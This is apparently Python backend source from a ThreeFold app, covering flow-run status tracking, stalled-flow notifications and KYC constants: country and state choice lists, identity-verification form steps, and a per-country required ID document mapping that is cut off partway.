if flow_run.status not in (FlowRunStatus.CANCELED, FlowRunStatus.FINISHED):
if 'cancel' in flush_id:
flow_run_status = FlowRunStatus.CANCELED
elif (end_id and not next_step) or 'flush_monitoring_end' in flush_id:
flow_run_status = FlowRunStatus.FINISHED
else:
flow_run_status = FlowRunStatus.IN_PROGRESS
else:
flow_run_status = flow_run.status
next_step_id = None
if next_step:
if isinstance(next_step.value, FlowCallbackResultTypeTO):
next_step_id = next_step.value.tag or next_step.value.flow
elif isinstance(next_step.value, (FormCallbackResultTypeTO, MessageCallbackResultTypeTO)):
next_step_id = next_step and next_step.value.step_id
else:
raise Exception('Unknown callback result %s', next_step)
calculate_flow_run_statistics(flow_run, timestamp, steps, flow_run_status, flush_id, next_step_id)
flow_run.populate(status=flow_run_status, steps=[s.to_dict() for s in steps])
flow_run.put()
try_or_defer(save_flow_run_status_to_firebase, flow_run.key)
def save_flow_run_status_to_firebase(flow_run_key):
flow_run = flow_run_key.get() # type: FlowRun
ticker_entry = get_flow_run_ticker_entry(flow_run)
put_firebase_data('/dashboard/flows/%s.json' % flow_run.flow_name, {flow_run.id: flow_run.status})
put_firebase_data('/dashboard/ticker/%s.json' % ticker_entry.id, ticker_entry.to_dict())
def get_flow_run_ticker_entry(flow_run):
# type: (FlowRun) -> TickerEntryTO
data = flow_run.to_dict(include=['flow_name', 'status'])
last_step = None
if flow_run.steps:
step = flow_run.steps[-1]
# Don't return sensitive data such as the form value
last_step = {
'step_id': step['step_id'],
'answer_id': step['answer_id'],
'button': step['button']
}
data.update({
'last_step': last_step,
})
date = flow_run.statistics.last_step_date.isoformat().decode('utf-8') + u'Z'
return TickerEntryTO(id='flow-%s' % flow_run.id, date=date, data=data, type=TickerEntryType.FLOW.value)
def merge_steps(flow_run, new_steps):
# In case of sub flows, new_steps won't contain steps from the previous flow.
steps = parse_complex_value(object_factory('step_type', FLOW_STEP_MAPPING), flow_run.steps, True)
saved_step_ids = [step.step_id for step in steps]
for step in new_steps:
if step.step_id not in saved_step_ids:
steps.append(step)
return steps
def calculate_flow_run_statistics(flow_run, timestamp, steps, flow_run_status, flush_id, next_step):
# type: (FlowRun, long, list[FormFlowStepTO]) -> FlowRun
last_step_date = datetime.utcfromtimestamp(timestamp)
total_time = int((last_step_date - flow_run.start_date).total_seconds())
# A 'finished' flow can still have a next step, by naming the monitoring flush 'flush_monitoring_end'
if not next_step and flow_run_status in (FlowRunStatus.STARTED, FlowRunStatus.IN_PROGRESS, FlowRunStatus.FINISHED):
next_step = flush_id.replace('flush_monitoring_', '')
steps_statistics = []
for step in steps: # type: FormFlowStepTO
time_taken = step.acknowledged_timestamp - step.received_timestamp
if time_taken < 0:
time_taken = 0
steps_statistics.append(StepStatistics(time_taken=time_taken))
flow_run.statistics = FlowRunStatistics(
last_step_date=last_step_date,
next_step=next_step,
total_time=total_time,
steps=steps_statistics
)
return flow_run
def list_flow_runs(cursor, page_size, flow_name, start_date):
start_date = start_date and dateutil.parser.parse(start_date.replace('Z', ''))
if start_date:
qry = FlowRun.list_by_start_date(start_date)
elif flow_name:
qry = FlowRun.list_by_flow_name(flow_name)
else:
qry = FlowRun.list()
return qry.fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
def list_flow_runs_by_user(username, cursor, page_size):
return FlowRun.list_by_user(username).fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
def get_flow_run(flow_run_id):
# type: (unicode) -> FlowRun
flow_run = FlowRun.create_key(flow_run_id).get()
if not flow_run:
raise HttpNotFoundException('flow_run_not_found', {'flow_run_id': flow_run_id})
return flow_run
def list_distinct_flows():
return FlowRun.list_distinct_flows()
def check_stuck_flows():
fifteen_minutes_ago = datetime.now() - relativedelta.relativedelta(minutes=15)
run_job(_get_stalled_flows, [fifteen_minutes_ago], _set_flow_run_as_stalled, [])
def should_notify_for_flow(flow_run):
# type: (FlowRun) -> bool
if flow_run.status != FlowRunStatus.STALLED:
logging.info('Not notifying of stalled flow %s because status != stalled', flow_run.id)
return False
# Ensure no unnecessary messages are sent in case user started this same flow again in the meantime
newest_key = FlowRun.list_by_user_and_flow(flow_run.flow_name, flow_run.user).fetch(1, keys_only=True)[0]
if flow_run.id != newest_key.id():
logging.info('Not notifying of stalled flow, user has restarted this flow. Newer flow key: %s', newest_key.id())
return False
if len(flow_run.steps) < 2:
logging.info('Not notifying of stalled flow, flow only had one step')
return False
return True
def notify_stalled_flow_run(flow_run_key):
flow_run = flow_run_key.get() # type: FlowRun
if not should_notify_for_flow(flow_run):
return
url = get_base_url() + '/flow-statistics/%s/%s' % (flow_run.flow_name, flow_run.id),
subject = 'Stalled flow %s' % flow_run.flow_name
profile = get_tff_profile(flow_run.user)
body = 'User %s appears to be stuck in the %s flow. Click the following link to check the details: %s' % (
profile.info.name, flow_run.flow_name, url)
send_emails_to_support(subject, body)
def _get_stalled_flows(fifteen_minutes_ago):
return FlowRun.list_by_status_and_last_step_date(FlowRunStatus.IN_PROGRESS, fifteen_minutes_ago)
@ndb.transactional()
def _set_flow_run_as_stalled(flow_run_key):
flow_run = flow_run_key.get() # type: FlowRun
if flow_run.status != FlowRunStatus.IN_PROGRESS:
logging.debug('Ignoring updated flow run %s', flow_run)
return
flow_run.status = FlowRunStatus.STALLED
flow_run.put()
deferred.defer(notify_stalled_flow_run, flow_run_key, _transactional=True)
deferred.defer(save_flow_run_status_to_firebase, flow_run_key, _transactional=True)
|
threefoldfoundation/app_backend | plugins/tff_backend/consts/kyc.py | <reponame>threefoldfoundation/app_backend<filename>plugins/tff_backend/consts/kyc.py
# coding=utf-8
unsupported_countries = ['CHN', 'KOR', 'PRK', 'SGP']
# import pycountry
# country_choices = sorted(
# filter(lambda c: c['value'] not in unsupported_countries,
# map(lambda country: {'value': country.alpha_3, 'label': country.name}, pycountry.countries)),
# key=lambda c: c['label'])
country_choices = [{'label': u'Afghanistan', 'value': u'AFG'},
{'label': u'Albania', 'value': u'ALB'},
{'label': u'Algeria', 'value': u'DZA'},
{'label': u'American Samoa', 'value': u'ASM'},
{'label': u'Andorra', 'value': u'AND'},
{'label': u'Angola', 'value': u'AGO'},
{'label': u'Anguilla', 'value': u'AIA'},
{'label': u'Antarctica', 'value': u'ATA'},
{'label': u'Antigua and Barbuda', 'value': u'ATG'},
{'label': u'Argentina', 'value': u'ARG'},
{'label': u'Armenia', 'value': u'ARM'},
{'label': u'Aruba', 'value': u'ABW'},
{'label': u'Australia', 'value': u'AUS'},
{'label': u'Austria', 'value': u'AUT'},
{'label': u'Azerbaijan', 'value': u'AZE'},
{'label': u'Bahamas', 'value': u'BHS'},
{'label': u'Bahrain', 'value': u'BHR'},
{'label': u'Bangladesh', 'value': u'BGD'},
{'label': u'Barbados', 'value': u'BRB'},
{'label': u'Belarus', 'value': u'BLR'},
{'label': u'Belgium', 'value': u'BEL'},
{'label': u'Belize', 'value': u'BLZ'},
{'label': u'Benin', 'value': u'BEN'},
{'label': u'Bermuda', 'value': u'BMU'},
{'label': u'Bhutan', 'value': u'BTN'},
{'label': u'Bolivia, Plurinational State of', 'value': u'BOL'},
{'label': u'Bonaire, Sint Eustatius and Saba', 'value': u'BES'},
{'label': u'Bosnia and Herzegovina', 'value': u'BIH'},
{'label': u'Botswana', 'value': u'BWA'},
{'label': u'Bouvet Island', 'value': u'BVT'},
{'label': u'Brazil', 'value': u'BRA'},
{'label': u'British Indian Ocean Territory', 'value': u'IOT'},
{'label': u'Brunei Darussalam', 'value': u'BRN'},
{'label': u'Bulgaria', 'value': u'BGR'},
{'label': u'Burkina Faso', 'value': u'BFA'},
{'label': u'Burundi', 'value': u'BDI'},
{'label': u'Cabo Verde', 'value': u'CPV'},
{'label': u'Cambodia', 'value': u'KHM'},
{'label': u'Cameroon', 'value': u'CMR'},
{'label': u'Canada', 'value': u'CAN'},
{'label': u'Cayman Islands', 'value': u'CYM'},
{'label': u'Central African Republic', 'value': u'CAF'},
{'label': u'Chad', 'value': u'TCD'},
{'label': u'Chile', 'value': u'CHL'},
{'label': u'Christmas Island', 'value': u'CXR'},
{'label': u'Cocos (Keeling) Islands', 'value': u'CCK'},
{'label': u'Colombia', 'value': u'COL'},
{'label': u'Comoros', 'value': u'COM'},
{'label': u'Congo', 'value': u'COG'},
{'label': u'Congo, The Democratic Republic of the', 'value': u'COD'},
{'label': u'Cook Islands', 'value': u'COK'},
{'label': u'Costa Rica', 'value': u'CRI'},
{'label': u'Croatia', 'value': u'HRV'},
{'label': u'Cuba', 'value': u'CUB'},
{'label': u'Cura\xe7ao', 'value': u'CUW'},
{'label': u'Cyprus', 'value': u'CYP'},
{'label': u'Czechia', 'value': u'CZE'},
{'label': u"C\xf4te d'Ivoire", 'value': u'CIV'},
{'label': u'Denmark', 'value': u'DNK'},
{'label': u'Djibouti', 'value': u'DJI'},
{'label': u'Dominica', 'value': u'DMA'},
{'label': u'Dominican Republic', 'value': u'DOM'},
{'label': u'Ecuador', 'value': u'ECU'},
{'label': u'Egypt', 'value': u'EGY'},
{'label': u'El Salvador', 'value': u'SLV'},
{'label': u'Equatorial Guinea', 'value': u'GNQ'},
{'label': u'Eritrea', 'value': u'ERI'},
{'label': u'Estonia', 'value': u'EST'},
{'label': u'Ethiopia', 'value': u'ETH'},
{'label': u'Falkland Islands (Malvinas)', 'value': u'FLK'},
{'label': u'Faroe Islands', 'value': u'FRO'},
{'label': u'Fiji', 'value': u'FJI'},
{'label': u'Finland', 'value': u'FIN'},
{'label': u'France', 'value': u'FRA'},
{'label': u'French Guiana', 'value': u'GUF'},
{'label': u'French Polynesia', 'value': u'PYF'},
{'label': u'French Southern Territories', 'value': u'ATF'},
{'label': u'Gabon', 'value': u'GAB'},
{'label': u'Gambia', 'value': u'GMB'},
{'label': u'Georgia', 'value': u'GEO'},
{'label': u'Germany', 'value': u'DEU'},
{'label': u'Ghana', 'value': u'GHA'},
{'label': u'Gibraltar', 'value': u'GIB'},
{'label': u'Greece', 'value': u'GRC'},
{'label': u'Greenland', 'value': u'GRL'},
{'label': u'Grenada', 'value': u'GRD'},
{'label': u'Guadeloupe', 'value': u'GLP'},
{'label': u'Guam', 'value': u'GUM'},
{'label': u'Guatemala', 'value': u'GTM'},
{'label': u'Guernsey', 'value': u'GGY'},
{'label': u'Guinea', 'value': u'GIN'},
{'label': u'Guinea-Bissau', 'value': u'GNB'},
{'label': u'Guyana', 'value': u'GUY'},
{'label': u'Haiti', 'value': u'HTI'},
{'label': u'Heard Island and McDonald Islands', 'value': u'HMD'},
{'label': u'Holy See (Vatican City State)', 'value': u'VAT'},
{'label': u'Honduras', 'value': u'HND'},
{'label': u'Hong Kong', 'value': u'HKG'},
{'label': u'Hungary', 'value': u'HUN'},
{'label': u'Iceland', 'value': u'ISL'},
{'label': u'India', 'value': u'IND'},
{'label': u'Indonesia', 'value': u'IDN'},
{'label': u'Iran, Islamic Republic of', 'value': u'IRN'},
{'label': u'Iraq', 'value': u'IRQ'},
{'label': u'Ireland', 'value': u'IRL'},
{'label': u'Isle of Man', 'value': u'IMN'},
{'label': u'Israel', 'value': u'ISR'},
{'label': u'Italy', 'value': u'ITA'},
{'label': u'Jamaica', 'value': u'JAM'},
{'label': u'Japan', 'value': u'JPN'},
{'label': u'Jersey', 'value': u'JEY'},
{'label': u'Jordan', 'value': u'JOR'},
{'label': u'Kazakhstan', 'value': u'KAZ'},
{'label': u'Kenya', 'value': u'KEN'},
{'label': u'Kiribati', 'value': u'KIR'},
{'label': u'Kuwait', 'value': u'KWT'},
{'label': u'Kyrgyzstan', 'value': u'KGZ'},
{'label': u"Lao People's Democratic Republic", 'value': u'LAO'},
{'label': u'Latvia', 'value': u'LVA'},
{'label': u'Lebanon', 'value': u'LBN'},
{'label': u'Lesotho', 'value': u'LSO'},
{'label': u'Liberia', 'value': u'LBR'},
{'label': u'Libya', 'value': u'LBY'},
{'label': u'Liechtenstein', 'value': u'LIE'},
{'label': u'Lithuania', 'value': u'LTU'},
{'label': u'Luxembourg', 'value': u'LUX'},
{'label': u'Macao', 'value': u'MAC'},
{'label': u'Macedonia, Republic of', 'value': u'MKD'},
{'label': u'Madagascar', 'value': u'MDG'},
{'label': u'Malawi', 'value': u'MWI'},
{'label': u'Malaysia', 'value': u'MYS'},
{'label': u'Maldives', 'value': u'MDV'},
{'label': u'Mali', 'value': u'MLI'},
{'label': u'Malta', 'value': u'MLT'},
{'label': u'Marshall Islands', 'value': u'MHL'},
{'label': u'Martinique', 'value': u'MTQ'},
{'label': u'Mauritania', 'value': u'MRT'},
{'label': u'Mauritius', 'value': u'MUS'},
{'label': u'Mayotte', 'value': u'MYT'},
{'label': u'Mexico', 'value': u'MEX'},
{'label': u'Micronesia, Federated States of', 'value': u'FSM'},
{'label': u'Moldova, Republic of', 'value': u'MDA'},
{'label': u'Monaco', 'value': u'MCO'},
{'label': u'Mongolia', 'value': u'MNG'},
{'label': u'Montenegro', 'value': u'MNE'},
{'label': u'Montserrat', 'value': u'MSR'},
{'label': u'Morocco', 'value': u'MAR'},
{'label': u'Mozambique', 'value': u'MOZ'},
{'label': u'Myanmar', 'value': u'MMR'},
{'label': u'Namibia', 'value': u'NAM'},
{'label': u'Nauru', 'value': u'NRU'},
{'label': u'Nepal', 'value': u'NPL'},
{'label': u'Netherlands', 'value': u'NLD'},
{'label': u'New Caledonia', 'value': u'NCL'},
{'label': u'New Zealand', 'value': u'NZL'},
{'label': u'Nicaragua', 'value': u'NIC'},
{'label': u'Niger', 'value': u'NER'},
{'label': u'Nigeria', 'value': u'NGA'},
{'label': u'Niue', 'value': u'NIU'},
{'label': u'Norfolk Island', 'value': u'NFK'},
{'label': u'Northern Mariana Islands', 'value': u'MNP'},
{'label': u'Norway', 'value': u'NOR'},
{'label': u'Oman', 'value': u'OMN'},
{'label': u'Pakistan', 'value': u'PAK'},
{'label': u'Palau', 'value': u'PLW'},
{'label': u'Palestine, State of', 'value': u'PSE'},
{'label': u'Panama', 'value': u'PAN'},
{'label': u'Papua New Guinea', 'value': u'PNG'},
{'label': u'Paraguay', 'value': u'PRY'},
{'label': u'Peru', 'value': u'PER'},
{'label': u'Philippines', 'value': u'PHL'},
{'label': u'Pitcairn', 'value': u'PCN'},
{'label': u'Poland', 'value': u'POL'},
{'label': u'Portugal', 'value': u'PRT'},
{'label': u'Puerto Rico', 'value': u'PRI'},
{'label': u'Qatar', 'value': u'QAT'},
{'label': u'Romania', 'value': u'ROU'},
{'label': u'Russian Federation', 'value': u'RUS'},
{'label': u'Rwanda', 'value': u'RWA'},
{'label': u'R\xe9union', 'value': u'REU'},
{'label': u'Saint Barth\xe9lemy', 'value': u'BLM'},
{'label': u'Saint Helena, Ascension and Tristan da Cunha', 'value': u'SHN'},
{'label': u'Saint Kitts and Nevis', 'value': u'KNA'},
{'label': u'Saint Lucia', 'value': u'LCA'},
{'label': u'Saint Martin (French part)', 'value': u'MAF'},
{'label': u'Saint Pierre and Miquelon', 'value': u'SPM'},
{'label': u'Saint Vincent and the Grenadines', 'value': u'VCT'},
{'label': u'Samoa', 'value': u'WSM'},
{'label': u'San Marino', 'value': u'SMR'},
{'label': u'Sao Tome and Principe', 'value': u'STP'},
{'label': u'Saudi Arabia', 'value': u'SAU'},
{'label': u'Senegal', 'value': u'SEN'},
{'label': u'Serbia', 'value': u'SRB'},
{'label': u'Seychelles', 'value': u'SYC'},
{'label': u'Sierra Leone', 'value': u'SLE'},
{'label': u'Sint Maarten (Dutch part)', 'value': u'SXM'},
{'label': u'Slovakia', 'value': u'SVK'},
{'label': u'Slovenia', 'value': u'SVN'},
{'label': u'Solomon Islands', 'value': u'SLB'},
{'label': u'Somalia', 'value': u'SOM'},
{'label': u'South Africa', 'value': u'ZAF'},
{'label': u'South Georgia and the South Sandwich Islands', 'value': u'SGS'},
{'label': u'South Sudan', 'value': u'SSD'},
{'label': u'Spain', 'value': u'ESP'},
{'label': u'Sri Lanka', 'value': u'LKA'},
{'label': u'Sudan', 'value': u'SDN'},
{'label': u'Suriname', 'value': u'SUR'},
{'label': u'Svalbard and Jan Mayen', 'value': u'SJM'},
{'label': u'Swaziland', 'value': u'SWZ'},
{'label': u'Sweden', 'value': u'SWE'},
{'label': u'Switzerland', 'value': u'CHE'},
{'label': u'Syrian Arab Republic', 'value': u'SYR'},
{'label': u'Taiwan, Province of China', 'value': u'TWN'},
{'label': u'Tajikistan', 'value': u'TJK'},
{'label': u'Tanzania, United Republic of', 'value': u'TZA'},
{'label': u'Thailand', 'value': u'THA'},
{'label': u'Timor-Leste', 'value': u'TLS'},
{'label': u'Togo', 'value': u'TGO'},
{'label': u'Tokelau', 'value': u'TKL'},
{'label': u'Tonga', 'value': u'TON'},
{'label': u'Trinidad and Tobago', 'value': u'TTO'},
{'label': u'Tunisia', 'value': u'TUN'},
{'label': u'Turkey', 'value': u'TUR'},
{'label': u'Turkmenistan', 'value': u'TKM'},
{'label': u'Turks and Caicos Islands', 'value': u'TCA'},
{'label': u'Tuvalu', 'value': u'TUV'},
{'label': u'Uganda', 'value': u'UGA'},
{'label': u'Ukraine', 'value': u'UKR'},
{'label': u'United Arab Emirates', 'value': u'ARE'},
{'label': u'United Kingdom', 'value': u'GBR'},
{'label': u'United States', 'value': u'USA'},
{'label': u'United States Minor Outlying Islands', 'value': u'UMI'},
{'label': u'Uruguay', 'value': u'URY'},
{'label': u'Uzbekistan', 'value': u'UZB'},
{'label': u'Vanuatu', 'value': u'VUT'},
{'label': u'Venezuela, Bolivarian Republic of', 'value': u'VEN'},
{'label': u'Viet Nam', 'value': u'VNM'},
{'label': u'Virgin Islands, British', 'value': u'VGB'},
{'label': u'Virgin Islands, U.S.', 'value': u'VIR'},
{'label': u'Wallis and Futuna', 'value': u'WLF'},
{'label': u'Western Sahara', 'value': u'ESH'},
{'label': u'Yemen', 'value': u'YEM'},
{'label': u'Zambia', 'value': u'ZMB'},
{'label': u'Zimbabwe', 'value': u'ZWE'},
{'label': u'\xc5land Islands', 'value': u'ALA'}]
state_choices = [{'label': u'Armed Forces America', 'value': u'AA'},
{'label': u'Armed Forces', 'value': u'AE'},
{'label': u'Armed Forces Pacific', 'value': u'AP'},
{'label': u'Alaska', 'value': u'AK'},
{'label': u'Alabama', 'value': u'AL'},
{'label': u'Arkansas', 'value': u'AR'},
{'label': u'Arizona', 'value': u'AZ'},
{'label': u'California', 'value': u'CA'},
{'label': u'Colorado', 'value': u'CO'},
{'label': u'Connecticut', 'value': u'CT'},
{'label': u'Washington DC (District of Columbia)', 'value': u'DC'},
{'label': u'Delaware', 'value': u'DE'},
{'label': u'Florida', 'value': u'FL'},
{'label': u'Georgia', 'value': u'GA'},
{'label': u'Guam', 'value': u'GU'},
{'label': u'Hawaii', 'value': u'HI'},
{'label': u'Iowa', 'value': u'IA'},
{'label': u'Idaho', 'value': u'ID'},
{'label': u'Illinois', 'value': u'IL'},
{'label': u'Indiana', 'value': u'IN'},
{'label': u'Kansas', 'value': u'KS'},
{'label': u'Kentucky', 'value': u'KY'},
{'label': u'Louisiana', 'value': u'LA'},
{'label': u'Massachusetts', 'value': u'MA'},
{'label': u'Maryland', 'value': u'MD'},
{'label': u'Maine', 'value': u'ME'},
{'label': u'Michigan', 'value': u'MI'},
{'label': u'Minnesota', 'value': u'MN'},
{'label': u'Missouri', 'value': u'MO'},
{'label': u'Mississippi', 'value': u'MS'},
{'label': u'Montana', 'value': u'MT'},
{'label': u'North Carolina', 'value': u'NC'},
{'label': u'North Dakota', 'value': u'ND'},
{'label': u'Nebraska', 'value': u'NE'},
{'label': u'New Hampshire', 'value': u'NH'},
{'label': u'New Jersey', 'value': u'NJ'},
{'label': u'New Mexico', 'value': u'NM'},
{'label': u'Nevada', 'value': u'NV'},
{'label': u'New York', 'value': u'NY'},
{'label': u'Ohio', 'value': u'OH'},
{'label': u'Oklahoma', 'value': u'OK'},
{'label': u'Oregon', 'value': u'OR'},
{'label': u'Pennsylvania', 'value': u'PA'},
{'label': u'Puerto Rico', 'value': u'PR'},
{'label': u'Rhode Island', 'value': u'RI'},
{'label': u'South Carolina', 'value': u'SC'},
{'label': u'South Dakota', 'value': u'SD'},
{'label': u'Tennessee', 'value': u'TN'},
{'label': u'Texas', 'value': u'TX'},
{'label': u'Utah', 'value': u'UT'},
{'label': u'Virginia', 'value': u'VA'},
{'label': u'Virgin Islands', 'value': u'VI'},
{'label': u'Vermont', 'value': u'VT'},
{'label': u'Washington', 'value': u'WA'},
{'label': u'Wisconsin', 'value': u'WI'},
{'label': u'West Virginia', 'value': u'WV'},
{'label': u'Wyoming', 'value': u'WY'}]
kyc_steps = [
{
'type': 'first_name',
'message': 'Please enter your first name.',
'order': 0
},
{
'type': 'last_name',
'message': 'Please enter your surname.',
'order': 1
},
{
'type': 'middle_name',
'message': 'Please enter your middle name.',
'order': 2
},
{
'type': 'dob',
'message': 'Please select your birth date.',
'widget': 'SelectDateWidget',
'order': 5
},
{
'type': 'gender',
'message': 'Please select your gender.',
'widget': 'SelectSingleWidget',
'choices': [{'value': 'male', 'label': 'Male'}, {'value': 'female', 'label': 'Female'}],
'order': 6
},
{
'type': 'telephone',
'message': 'Please enter your phone number.',
'keyboard_type': 'PHONE',
'order': 7
},
{
'type': 'mobile',
'message': 'Please enter mobile phone number.',
'keyboard_type': 'PHONE',
'order': 8
},
{
'type': 'email',
'message': 'Please enter your email address.',
'keyboard_type': 'EMAIL',
'order': 9
},
{
'type': 'address_street',
'message': 'Please enter the street name of your home address.',
'max_chars': 32,
'order': 10
},
{
'type': 'address_building_number',
'message': 'Please enter the building number of your home address.',
'order': 11
},
{
'type': 'address_building_name',
'message': 'Please enter the name of the building of your home address.',
'order': 12
},
{
'type': 'address_flat_number',
'message': 'Please enter the flat/unit/apartment number of your home address.',
'order': 13
},
{
'type': 'address_sub_street',
'message': 'Please enter the suburb / subdivision / municipality of your home address.',
'order': 14
},
{
'type': 'address_postcode',
'message': 'Please enter the postal code of your home address.',
'order': 15
},
{
'type': 'address_town',
'message': 'Please enter the city of your home address.',
'order': 16
},
{
'type': 'address_state',
'message': 'Please select the state of your home address.',
'widget': 'SelectSingleWidget',
'choices': state_choices,
'order': 17
},
{
'type': 'address_country',
'message': 'Please select the country of your home address.',
'widget': 'SelectSingleWidget',
'choices': country_choices,
'order': 19
},
{
'type': 'national_identity_card_front',
'message': 'Please take a picture of the front of your national identity card.',
'widget': 'PhotoUploadWidget',
'order': 20
},
{
'type': 'national_identity_card_back',
'message': 'Please take a picture of the back of your national identity card.',
'widget': 'PhotoUploadWidget',
'order': 21
},
{
'type': 'national_identity_card',
'message': 'Please take a picture of your national identity card.',
'widget': 'PhotoUploadWidget',
'order': 22
},
{
'type': 'passport',
'message': 'Please take a picture of your passport.',
'widget': 'PhotoUploadWidget',
'order': 23
},
{
'type': 'utility_bill',
'message': 'Please upload a picture of a utility bill that is not older than three months and has your name and address on it for our Proof of Address.',
'widget': 'PhotoUploadWidget',
'order': 24
}
]
DEFAULT_KYC_STEPS = {'first_name', 'last_name', 'email', 'gender', 'dob', 'address_building_number',
'address_street', 'address_town', 'address_postcode', 'passport'}
"""
From https://info.onfido.com/supported-documents
const array = [];
$('tr').each((i, element)=>{
const tds = $(element).find('td');
if(tds.length){
const country = tds[0].textContent;
const docType = tds[1].textContent;
array.push({country, docType});
}
});
countries = [] # result from above
unknown = []
doc_type_mapping = {}
for thing in countries:
if thing['country'] in mapping:
country_code = mapping[thing['country']]
doc_type_mapping[country_code] = thing['docType']
else:
unknown.append(thing)
if unknown:
raise Exception('please add these to the doc_type_mapping manually %s' % unknown)
def convert(doc_type_str):
if 'National Identity card*' in doc_type_str:
return ['national_identity_card_front', 'national_identity_card_back']
elif 'National Identity card' in doc_type_str:
return ['national_identity_card']
elif 'Passport' in doc_type_str:
return ['passport']
else:
raise Exception(doc_type_str)
REQUIRED_DOCUMENT_TYPES = {k: convert(v) for k, v in doc_type_mapping.iteritems()}
"""
REQUIRED_DOCUMENT_TYPES = {
u'ABW': ['passport'],
u'AFG': ['passport'],
u'AGO': ['passport'],
u'AIA': ['passport'],
u'ALA': ['passport'],
u'ALB': ['national_identity_card_front', 'national_identity_card_back'],
u'AND': ['passport'],
u'ARE': ['national_identity_card_front', 'national_identity_card_back'],
u'ARG': ['national_identity_card'],
u'ARM': ['passport'],
u'ASM': ['passport'],
u'ATG': ['passport'],
u'AUS': ['passport'],
u'AUT': ['national_identity_card_front', 'national_identity_card_back'],
u'AZE': ['national_identity_card_front', 'national_identity_card_back'],
u'BDI': ['passport'],
u'BEL': ['national_identity_card_front', 'national_identity_card_back'],
u'BEN': ['passport'],
u'BFA': ['passport'],
u'BGD': ['national_identity_card_front', 'national_identity_card_back'],
u'BGR': ['national_identity_card_front', 'national_identity_card_back'],
u'BHR': ['passport'],
u'BHS': ['passport'],
u'BIH': ['national_identity_card_front', 'national_identity_card_back'],
u'BLM': ['passport'],
u'BLR': ['passport'],
u'BLZ': ['passport'],
u'BMU': ['passport'],
u'BOL': ['passport'],
u'BRA': ['national_identity_card'],
u'BRB': ['passport'],
u'BRN': ['passport'],
u'BTN': ['passport'],
u'BWA': ['passport'],
u'CAF': ['passport'],
u'CAN': ['national_identity_card_front', 'national_identity_card_back'],
u'CCK': ['passport'],
u'CHE': ['national_identity_card_front', 'national_identity_card_back'],
u'CHL': ['national_identity_card'],
u'CHN': ['passport'],
u'CIV': ['passport'],
u'CMR': ['passport'],
u'COD': ['passport'],
u'COG': ['passport'],
u'COK': ['passport'],
u'COL': ['national_identity_card_front', 'national_identity_card_back'],
u'COM': ['passport'],
u'CPV': ['passport'],
u'CRI': ['national_identity_card_front', 'national_identity_card_back'],
u'CUB': ['passport'],
u'CXR': ['passport'],
u'CYM': ['passport'],
u'CYP': ['national_identity_card_front', 'national_identity_card_back'],
u'CZE': ['national_identity_card_front', 'national_identity_card_back'],
u'DEU': ['national_identity_card_front', 'national_identity_card_back'],
u'DJI': ['passport'],
u'DMA': ['passport'],
u'DNK': ['national_identity_card_front', 'national_identity_card_back'],
u'DOM': ['national_identity_card_front', 'national_identity_card_back'],
u'DZA': ['national_identity_card_front', 'national_identity_card_back'],
u'ECU': ['national_identity_card_front', 'national_identity_card_back'],
u'EGY': ['passport'],
u'ERI': ['passport'],
u'ESH': ['passport'],
u'ESP': ['national_identity_card_front', 'national_identity_card_back'],
u'EST': ['national_identity_card_front', 'national_identity_card_back'],
u'ETH': ['passport'],
u'FIN': ['national_identity_card_front', 'national_identity_card_back'],
u'FJI': ['passport'],
u'FLK': ['passport'],
u'FRA': ['national_identity_card'],
u'FRO': ['passport'],
u'FSM': ['passport'],
u'GAB': ['passport'],
u'GBR': ['passport'],
u'GEO': ['national_identity_card_front', 'national_identity_card_back'],
u'GHA': ['passport'],
u'GIB': ['national_identity_card_front', 'national_identity_card_back'],
u'GIN': ['passport'],
u'GLP': ['passport'],
u'GMB': ['passport'],
u'GNB': ['passport'],
u'GNQ': ['passport'],
u'GRC': ['national_identity_card_front', 'national_identity_card_back'],
u'GRD': ['passport'],
u'GRL': ['passport'],
u'GTM': ['national_identity_card_front', 'national_identity_card_back'],
u'GUF': ['passport'],
u'GUM': ['passport'],
u'GUY': ['passport'],
u'HKG': ['national_identity_card_front', 'national_identity_card_back'],
u'HND': ['passport'],
u'HRV': ['national_identity_card_front', 'national_identity_card_back'],
u'HTI': ['passport'],
u'HUN': ['national_identity_card_front', 'national_identity_card_back'],
u'IDN': ['national_identity_card_front', 'national_identity_card_back'],
u'IND': ['national_identity_card'],
u'IOT': ['passport'],
u'IRL': ['national_identity_card_front', 'national_identity_card_back'],
u'IRN': ['passport'],
u'IRQ': ['passport'],
u'ISL': ['passport'],
u'ISR': ['passport'],
u'ITA': ['national_identity_card_front', 'national_identity_card_back'],
u'JAM': ['passport'],
u'JOR': ['national_identity_card_front', 'national_identity_card_back'],
u'JPN': ['passport'],
u'KAZ': ['passport'],
u'KEN': ['national_identity_card_front', 'national_identity_card_back'],
u'KGZ': ['passport'],
u'KHM': ['passport'],
u'KIR': ['passport'],
u'KNA': ['passport'],
u'KOR': ['passport'],
u'KWT': ['passport'],
u'LBN': ['passport'],
u'LBR': ['passport'],
u'LBY': ['passport'],
u'LCA': ['passport'],
u'LIE': ['national_identity_card_front', 'national_identity_card_back'],
u'LKA': ['passport'],
u'LSO': ['passport'],
u'LTU': ['national_identity_card_front', 'national_identity_card_back'],
u'LUX': ['national_identity_card_front', 'national_identity_card_back'],
u'LVA': ['national_identity_card_front', 'national_identity_card_back'],
u'MAC': ['passport'],
u'MAR': ['national_identity_card_front', 'national_identity_card_back'],
u'MCO': ['national_identity_card_front', 'national_identity_card_back'],
u'MDA': ['national_identity_card_front', 'national_identity_card_back'],
u'MDG': ['passport'],
u'MDV': ['passport'],
u'MEX': ['passport'],
u'MHL': ['passport'],
u'MKD': ['national_identity_card_front', 'national_identity_card_back'],
u'MLI': ['passport'],
u'MLT': ['national_identity_card_front', 'national_identity_card_back'],
u'MMR': ['passport'],
u'MNE': ['national_identity_card_front', 'national_identity_card_back'],
u'MNG': ['passport'],
u'MNP': ['passport'],
u'MOZ': ['passport'],
u'MRT': ['passport'],
u'MTQ': ['passport'],
u'MUS': ['passport'],
u'MWI': ['passport'],
u'MYS': ['national_identity_card'],
u'MYT': ['passport'],
u'NAM': ['passport'],
u'NCL': ['passport'],
u'NER': ['passport'],
u'NFK': ['passport'],
u'NGA': ['national_identity_card_front', 'national_identity_card_back'],
u'NIC': ['passport'],
u'NIU': ['passport'],
u'NLD': ['national_identity_card_front', 'national_identity_card_back'],
u'NOR': ['national_identity_card_front', 'national_identity_card_back'],
u'NPL': ['passport'],
u'NRU': ['passport'],
u'NZL': ['passport'],
u'OMN': ['passport'],
